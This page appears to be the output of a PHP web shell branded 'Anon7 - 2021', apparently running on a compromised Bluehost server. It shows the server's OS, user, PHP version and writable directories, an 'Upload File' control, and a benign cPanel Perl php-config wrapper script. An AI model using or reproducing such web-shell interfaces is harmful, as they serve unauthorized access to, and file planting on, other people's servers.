KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /scripts/php_sandbox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //scripts/php_sandbox/php-config
#!/usr/local/cpanel/3rdparty/bin/perl

$ENV{'LANG'} = 'C';

my @paths   = grep( !/php_sandbox/, split( /:/, $ENV{'PATH'} ) );
my $homedir = ( getpwuid($>) )[7];

foreach my $path (@paths) {
    next if ( $path =~ /sandbox/i );
    if ( -x $path . '/' . 'php-config' ) {
        if ( grep( /--prefix/, @ARGV ) ) {
            print "$homedir/php";
            exit();
        }
        if ( grep( /--extension-dir/, @ARGV ) ) {
            print "$homedir/php/ext";
            exit();
        }
        exec( $path . '/' . 'php-config', @ARGV );
    }
}
die "php-config not found";

Anon7 - 2021